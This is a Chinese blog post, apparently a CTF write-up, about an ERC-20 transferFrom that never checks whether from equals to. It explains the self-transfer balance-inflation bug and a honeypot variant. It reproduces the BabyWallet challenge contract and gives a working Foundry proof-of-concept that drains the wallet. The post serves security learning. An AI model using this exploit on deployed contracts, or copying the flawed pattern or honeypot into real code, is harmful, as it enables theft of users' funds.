不标准的 ERC-20:未经检测的 transferFrom 参数

  • Q1ngying
  • 更新于 2024-09-03 19:36
  • 阅读 669

由于 transferFrom 未对传入的参数进行校验,若 from 和 to 为同一地址时,会产生两种截然不同的反应

有些 CTF 题目中,并未使用 OpenZeppelin 等合约安全库,而是自己写的 ERC20 合约,其中未对 transferFrom 传入的参数进行检测是一个很严重的问题。

风险

我们来看一段不安全的代码:

function transferFrom(address from, address to, uint256 amt) public {
    uint256 allowedAmt = allowances[from][msg.sender];
    uint256 fromBalance = balances[from];
    uint256 toBalance = balances[to];

    require(fromBalance >= amt, "You can't transfer that much");
    require(allowedAmt >= amt, "You don't have approval for that amount");

    balances[from] = fromBalance - amt;
    balances[to] = toBalance + amt;
    allowances[from][msg.sender] = allowedAmt - amt;
}

首先检测 to地址是否 被 from 地址授权足够的金额,以及 from地址的余额是否大于要取出的金额。

接着,from地址的 balance 减少,to地址的 balance 增加,最后,减少 from地址对to地址的授权额度。

看起来这段代码并没有什么问题对吧?

但是,当 from == to时,发生了一些意想不到的问题:

前面的逻辑并没有什么问题,问题出现在了第 10 行。

我们首先将 fromto统一称为attack_addr。在第 9 行中,我们将 attack_addr的 balance 修改为 fromBalance - amt。这里没问题,而接下来在第 10 行中,我们将 attack_addr的 balance 再修改为toBalance + amt,而fromBalance == to Balance == attack_addr 初始余额,对第 9 行中的对attack_addr的修改进行了覆盖,这样,我们实现了增加我们 attack_addr的余额,实际增加的金额为我们传递的 amt参数。

接下来我们发散一下:

如果上述代码的第 9,10 行的顺序进行颠倒,会发生什么呢?

答案是:这个合约将变成一个蜜罐合约。

蜜罐

我们来分析一下颠倒顺序的代码:

function transferFrom(address from, address to, uint256 amt) public {
    uint256 allowedAmt = allowances[from][msg.sender];
    uint256 fromBalance = balances[from];
    uint256 toBalance = balances[to];

    require(fromBalance >= amt, "You can't transfer that much");
    require(allowedAmt >= amt, "You don't have approval for that amount");

    balances[to] = toBalance + amt;
    balances[from] = fromBalance - amt;
    allowances[from][msg.sender] = allowedAmt - amt;
}

from == to时,发生了一些意想不到的问题:

同样,我们将 fromto统一称为attack_addr。在第 9 行中,我们将 attack_addr的 balance 修改为 toBalance + amt增加了attack_addr地址的余额。在第 10 行中,我们将 attack_addr的 balance 再修改为fromBalance - amt,而fromBalance == to Balance == attack_addr 初始余额,第 10 行的修改覆盖率第 9 行的修改,我们成功减少了 attack_addr的余额,这样,攻击者的攻击资金被锁在了我们的蜜罐中。

不安全的 ERC20 合约案例

来源:cofCTF2023 BabyWallet(可以使用 Foundry 在本地进行测试)

源码:

pragma solidity ^0.8.17;

// BabyWallet.sol
contract BabyWallet {
    mapping(address => uint256) public balances;
    mapping(address => mapping(address => uint256)) public allowances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amt) public {
        require(balances[msg.sender] >= amt, "You can't withdraw that much");
        balances[msg.sender] -= amt;
        (bool success,) = msg.sender.call{value: amt}("");
        require(success, "Failed to withdraw that amount");
    }

    function approve(address recipient, uint256 amt) public {
        allowances[msg.sender][recipient] += amt;
    }

    function transfer(address recipient, uint256 amt) public {
        require(balances[msg.sender] >= amt, "You can't transfer that much");
        balances[msg.sender] -= amt;
        balances[recipient] += amt;
    }

    function transferFrom(address from, address to, uint256 amt) public {
        uint256 allowedAmt = allowances[from][msg.sender];
        uint256 fromBalance = balances[from];
        uint256 toBalance = balances[to];

        require(fromBalance >= amt, "You can't transfer that much");
        require(allowedAmt >= amt, "You don't have approval for that amount");

        balances[from] = fromBalance - amt;
        balances[to] = toBalance + amt;
        allowances[from][msg.sender] = allowedAmt - amt;
    }

    fallback() external payable {}
    receive() external payable {}
}

// Setup.sol

contract Setup {
    BabyWallet public wallet;

    constructor() payable {
        require(msg.value == 100 ether, "requires 100 ether");
        wallet = new BabyWallet();
        payable(address(wallet)).transfer(msg.value);
    }

    function isSolved() public view returns (bool) {
        return address(wallet).balance == 0 ether;
    }
}

Foundry 部署脚本:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

import {Setup} from "../src/Setup.sol";
import {Script, console2} from "forge-std/Script.sol";

contract Deploy is Script {
    Setup target;

    function run() external {
        vm.startBroadcast();
        target = new Setup{value: 100 ether}();
        vm.stopBroadcast();
        console2.log("setUp address:", address(target));
    }
}

PoC:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

import {BabyWallet} from "../src/BabyWallet.sol";
import {Setup} from "../src/Setup.sol";
import {Script, console2} from "forge-std/Script.sol";

contract Hack {
    Setup setup;
    BabyWallet wallet;

    constructor(address _setUp) payable {
        setup = Setup(_setUp);
        wallet = setup.wallet();
        wallet.deposit{value: msg.value}();
    }

    function pwn() external {
        wallet.approve(address(this), 100 ether);
        wallet.transferFrom(address(this), address(this), 100 ether);
        wallet.transfer(msg.sender, wallet.balances(address(this)));
    }
}

contract Attack is Script {
    function run() external {
        Setup setup = Setup(0xA15BB66138824a1c7167f5E85b957d04Dd34E468);

        vm.startBroadcast();
        Hack hack = new Hack{value: 100 ether}(0xA15BB66138824a1c7167f5E85b957d04Dd34E468);
        hack.pwn();
        setup.wallet().withdraw(200 ether);
        vm.stopBroadcast();

        require(setup.isSolved(), "hack failed");
    }
}
点赞 1
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Q1ngying
Q1ngying
0x468F...68bf
本科在读,合约安全学习中......